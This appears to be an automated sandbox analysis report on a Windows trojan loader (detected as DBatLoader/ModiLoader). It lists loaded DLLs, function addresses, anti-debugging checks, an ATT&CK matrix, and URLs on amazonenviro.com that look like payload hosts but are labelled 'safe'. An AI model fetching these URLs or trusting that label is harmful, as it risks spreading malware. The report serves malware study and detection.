Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Section loaded: ieproxy.dll	Jump to behavior

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: LbZ88q4uPa.exe

Static file information: File size 1161216 > 1048576

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: 0.2.LbZ88q4uPa.exe.22965a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LbZ88q4uPa.exe.2850000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LbZ88q4uPa.exe.22965a8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2954365899.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2938050052.0000000002296000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

Code function: 0_2_02868798 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02868798

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_028532FC push eax; ret	0_2_02853338
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0287D2FC push 0287D367h; ret	0_2_0287D35F
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0285635C push 028563B7h; ret	0_2_028563AF
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0285635A push 028563B7h; ret	0_2_028563AF
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0287D0AC push 0287D125h; ret	0_2_0287D11D
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0287D1F8 push 0287D288h; ret	0_2_0287D280
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0287D144 push 0287D1ECh; ret	0_2_0287D1E4
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_028686B8 push 028686FAh; ret	0_2_028686F2
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_02856736 push 0285677Ah; ret	0_2_02856772
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_02856738 push 0285677Ah; ret	0_2_02856772
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0285C4EC push ecx; mov dword ptr [esp], edx	0_2_0285C4F1
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0285D520 push 0285D54Ch; ret	0_2_0285D544
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0285CB6C push 0285CCF2h; ret	0_2_0285CCEA
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0286788C push 02867909h; ret	0_2_02867901
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_028668C6 push 02866973h; ret	0_2_0286696B
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_028668C8 push 02866973h; ret	0_2_0286696B
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0286E9E8 push ecx; mov dword ptr [esp], edx	0_2_0286E9ED
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0286890E push 02868948h; ret	0_2_02868940
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0286A917 push 0286A950h; ret	0_2_0286A948
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_02868910 push 02868948h; ret	0_2_02868940
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0286A918 push 0286A950h; ret	0_2_0286A948
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0285C95E push 0285CCF2h; ret	0_2_0285CCEA
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_02862EE0 push 02862F56h; ret	0_2_02862F4E
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_0287BFA0 push 0287C1C8h; ret	0_2_0287C1C0
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_02862FEC push 02863039h; ret	0_2_02863031
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_02862FEB push 02863039h; ret	0_2_02863031
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: 0_2_02865DFC push ecx; mov dword ptr [esp], edx	0_2_02865DFE

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

Code function: 0_2_0286A954 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0286A954

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

Code function: 0_2_028558B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

0_2_028558B4

Source: LbZ88q4uPa.exe, 00000000.00000002.2937308128.000000000063E000.00000004.00000020.00020000.00000000.sdmp, LbZ88q4uPa.exe, 00000000.00000002.2937308128.000000000069E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

API call chain: ExitProcess graph end node

graph_0-25848

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

Code function: 0_2_0286F024 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

0_2_0286F024

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

Code function: 0_2_02868798 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02868798

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02855A78
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: GetLocaleInfoA,	0_2_0285A790
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: GetLocaleInfoA,	0_2_0285A744
Source: C:\Users\user\Desktop\LbZ88q4uPa.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02855B84

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

Code function: 0_2_0285918C GetLocalTime,

0_2_0285918C

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

Code function: 0_2_0285B70C GetVersionExA,

0_2_0285B70C

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 Valid Accounts	1 Valid Accounts	1 Valid Accounts	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Access Token Manipulation	1 Access Token Manipulation	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 System Network Connections Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	24 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
LbZ88q4uPa.exe	82%	Virustotal		Browse
LbZ88q4uPa.exe	76%	ReversingLabs	Win32.Trojan.ModiLoader

Source	Detection	Scanner	Label
https://amazonenviro.com:443/245_NsltarpnconZZZZ:s	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_NsltarpnconL	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpncon.64.1.1	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_NsltarpnconW	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpnconi	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_NsltarpnconP	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Nsltarpnconb	0%	Avira URL Cloud	safe
